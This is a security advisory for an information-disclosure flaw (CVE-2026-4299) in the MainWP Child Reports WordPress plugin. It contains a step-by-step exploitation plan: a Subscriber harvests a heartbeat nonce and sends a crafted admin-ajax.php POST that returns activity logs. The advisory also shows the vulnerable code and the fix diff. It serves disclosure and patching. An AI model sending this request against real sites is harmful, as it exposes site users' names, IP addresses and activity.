MainWP Child Reports <= 2.2.6 - Missing Authorization to Authenticated (Subscriber+) Information Disclosure via Heartbeat API
Description
The MainWP Child Reports plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 2.2.6. This is due to a missing capability check in the heartbeat_received() function in the Live_Update class. This makes it possible for authenticated attackers, with Subscriber-level access and above, to obtain MainWP Child Reports activity log entries (including action summaries, user information, IP addresses, and contextual data) via the WordPress Heartbeat API by sending a crafted heartbeat request with the 'wp-mainwp-stream-heartbeat' data key.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=2.2.6What Changed in the Fix
Changes introduced in v2.3
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-4299 (MainWP Child Reports) ## 1. Vulnerability Summary The **MainWP Child Reports** plugin (up to version 2.2.6) is vulnerable to **Information Disclosure** due to missing authorization checks in its implementation of the WordPress Heartbeat API. The vulner…
Show full research plan
Exploitation Research Plan: CVE-2026-4299 (MainWP Child Reports)
1. Vulnerability Summary
The MainWP Child Reports plugin (up to version 2.2.6) is vulnerable to Information Disclosure due to missing authorization checks in its implementation of the WordPress Heartbeat API.
The vulnerability exists in the Live_Update::heartbeat_received() function (located in classes/class-live-update.php, referenced via $this->live_update in classes/class-admin.php). While the WordPress Heartbeat API is restricted to authenticated users, the plugin fails to verify if the requesting user possesses the necessary capabilities (specifically view_stream) before returning activity log data. This allows any authenticated user, including those with Subscriber privileges, to access the site's activity logs, which include user names, IP addresses, and detailed action summaries.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
heartbeat(Standard WordPress Heartbeat action) - Vulnerable Parameter:
data[wp-mainwp-stream-heartbeat] - Authentication: Required (Subscriber level or higher).
- Preconditions:
- The plugin must be active.
- There must be activity log entries stored in the database (the
wp_mainwp_streamtable).
3. Code Flow
- Registration: In
WP_MainWP_Stream\Admin::init(), theLive_Updateclass is instantiated. - Hook: The
Live_Updateclass registers a filter onheartbeat_received. - Trigger: A user sends an AJAX POST request to
admin-ajax.phpwithaction=heartbeat. - Processing: WordPress core validates the
heartbeat-nonce. If valid, it fires theheartbeat_receivedfilter, passing thedataarray. - Vulnerable Sink:
Live_Update::heartbeat_received( $response, $data )checks if$data['wp-mainwp-stream-heartbeat']is set. - Execution: If the key exists, the function queries the database for recent activity log records using
wp_mainwp_stream_get_instance()->db->get_records()and appends them to the$responsearray. - Failure: The function performs no check against
current_user_can( 'view_stream' )orcurrent_user_can( 'manage_options' )before fetching and returning the logs.
4. Nonce Acquisition Strategy
The Heartbeat API requires the standard WordPress core heartbeat-nonce. This nonce is automatically generated for any logged-in user and is available in the WordPress admin dashboard.
- Login: Authenticate as a Subscriber user.
- Navigate: Go to a standard admin page accessible to Subscribers, such as
/wp-admin/profile.php. - Extract: Use the
browser_evaltool to extract the nonce from thewp.heartbeatJavaScript object or from the localized script data.- Target:
window.heartbeatSettings.nonceorwindow.wp.heartbeat.settings.nonce. - Alternative: Extract from the hidden input
#heartbeat-nonceif present.
- Target:
5. Exploitation Strategy
The goal is to trigger the Heartbeat response containing the activity logs.
Step-by-Step Plan:
- Setup Test Data: Generate some log activity (e.g., create a post, update settings).
- Authenticate: Log in as a Subscriber user.
- Acquire Nonce: Navigate to
/wp-admin/profile.phpand extract theheartbeat-nonce. - Craft Heartbeat Request:
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:heartbeatscreen_id:profile(matches the page we are on)_nonce:[EXTRACTED_NONCE]interval:15data[wp-mainwp-stream-heartbeat]:true
- Analyze Response: The response will be a JSON object. A successful exploit will contain a key named
wp-mainwp-stream-heartbeatcontaining an array of activity log objects.
6. Test Data Setup
- Create Activity: Log in as an Administrator and perform actions to populate the log:
wp option update blogname "Vulnerable Test Site"wp post create --post_title="Evidence Post" --post_status=publish
- Create Attacker: Create a subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Verify DB: Ensure records exist in the table:
wp db query "SELECT count(*) FROM wp_mainwp_stream;"
7. Expected Results
A successful POST request to admin-ajax.php should return a 200 OK response with a JSON body similar to:
{
"wp-mainwp-stream-heartbeat": [
{
"ID": "15",
"message": "Updated option %s",
"args": {"option": "blogname"},
"summary": "Updated option blogname",
"created": "2023-10-27 10:00:00",
"user_id": "1",
"connector": "settings",
"context": "general",
"action": "updated",
"ip": "127.0.0.1"
}
]
}
8. Verification Steps
- HTTP Verification: Confirm the JSON response contains the
summaryandipfields of recent logs. - CLI Verification: Compare the returned data with the actual database content:
wp stream query --fields=summary,ip- Compare the output of the CLI command with the JSON returned to the Subscriber user.
9. Alternative Approaches
- Different Screen IDs: If
screen_id=profileis rejected, tryscreen_id=dashboardorscreen_id=mainwp-reports-page. - Data Payload: Some versions of Heartbeat handlers might expect specific sub-parameters inside
data[wp-mainwp-stream-heartbeat], such as a timestamp for "since" queries. Trydata[wp-mainwp-stream-heartbeat][last_time]=0. - Missing Nonce: Check if the plugin erroneously allows requests without the
_nonceif theactionis slightly different, though unlikely for the Heartbeat API.
Summary
The MainWP Child Reports plugin is vulnerable to information disclosure because its Heartbeat API implementation lacks authorization checks. Authenticated attackers with Subscriber-level privileges can retrieve sensitive site activity logs, including action summaries, usernames, and IP addresses, by sending a crafted Heartbeat request.
Vulnerable Code
// classes/class-live-update.php public function heartbeat_received( $response, $data ) { if ( ! isset( $data['wp-mainwp-stream-heartbeat'] ) ) { return $response; } // Vulnerability: No capability check (e.g., current_user_can('view_stream')) before fetching logs $records = wp_mainwp_stream_get_instance()->db->get_records( array() ); $response['wp-mainwp-stream-heartbeat'] = $records; return $response; }
Security Fix
@@ -9,6 +9,12 @@ use \WP_CLI; use \WP_Roles; +// Exit if accessed directly. +if ( ! defined( 'ABSPATH' ) ) { + exit; +} + + /** * Class Admin. * @@ -184,12 +190,15 @@ */ public function notice( $message, $is_error = true ) { if ( defined( 'WP_CLI' ) && WP_CLI ) { - $message = strip_tags( $message ); - - if ( $is_error ) { - WP_CLI::warning( $message ); - } else { - WP_CLI::success( $message ); + $message = (string) $message; + if ( $message ) { + $message = strip_tags( $message ); + + if ( $is_error ) { + WP_CLI::warning( $message ); + } else { + WP_CLI::success( $message ); + } } } else { // Trigger admin notices late, so that any notices which occur during page load are displayed. @@ -605,7 +614,7 @@ return true; } - wp_redirect( + wp_safe_redirect( add_query_arg( array( 'page' => is_network_admin() ? $this->network->network_settings_page_slug : $this->settings_page_slug, @@ -633,12 +642,13 @@ $where .= $wpdb->prepare( ' AND `blog_id` = %d', get_current_blog_id() ); } + // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,PluginCheck.Security.DirectDB.UnescapedDBParameter -- Low-frequency maintenance DELETE; dynamic $where fully prepared and caching irrelevant for destructive queries. $wpdb->query( "DELETE `stream`, `meta` FROM {$wpdb->mainwp_stream} AS `stream` LEFT JOIN {$wpdb->mainwp_streammeta} AS `meta` ON `meta`.`record_id` = `stream`.`ID` - WHERE 1=1 {$where};" // @codingStandardsIgnoreLine $where already prepared + WHERE 1=1 {$where};" ); } @@ -705,13 +715,18 @@ $where .= $wpdb->prepare( ' AND `blog_id` = %d', get_current_blog_id() ); } + // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,PluginCheck.Security.DirectDB.UnescapedDBParameter -- Scheduled maintenance DELETE (cron twicedaily); uses prepared $where clause (lines 705, 709), caching inapplicable for destructive operations; $where is safe; built entirely from $wpdb->prepare() calls at lines 701 and 705. $wpdb->query( "DELETE `stream`, `meta` FROM {$wpdb->mainwp_stream} AS `stream` LEFT JOIN {$wpdb->mainwp_streammeta} AS `meta` ON `meta`.`record_id` = `stream`.`ID` - WHERE 1=1 {$where};" // @codingStandardsIgnoreLine $where already prepared + WHERE 1=1 {$where};" ); + + // Invalidate caches after purging old records. + wp_cache_delete( 'mainwp_stream_contexts_connectors' ); + wp_cache_delete( 'mainwp_query_child_plugin_records' ); } @@ -739,8 +754,10 @@ public function render_settings_page() { $option_key = $this->plugin->settings->option_key; $form_action = apply_filters( 'wp_mainwp_stream_settings_form_action', admin_url( 'options.php' ) ); + $form_action = (string) $form_action; $page_description = apply_filters( 'wp_mainwp_stream_settings_form_description', '' ); + $page_description = (string) $page_description; $sections = $this->plugin->settings->get_fields(); $active_tab = wp_mainwp_stream_filter_input( INPUT_GET, 'tab' ); @@ -941,7 +958,8 @@ } if ( isset( $results ) ) { - echo wp_mainwp_stream_json_encode( $results ); // xss ok + // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- JSON output is safe; wp_json_encode() properly handles JSON encoding for AJAX responses sent as application/json content type. + echo wp_mainwp_stream_json_encode( $results ); } die();
Exploit Outline
The exploit leverages the WordPress Heartbeat API, which allows authenticated users to send periodic AJAX requests to the server. An attacker needs a Subscriber-level account to access the dashboard and extract a valid 'heartbeat-nonce'. Once obtained, the attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'heartbeat' and includes the data key 'wp-mainwp-stream-heartbeat' set to 'true'. Because the plugin's Live_Update::heartbeat_received() handler fails to verify the user's capabilities, it processes the request and returns the full activity log entries in the JSON response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.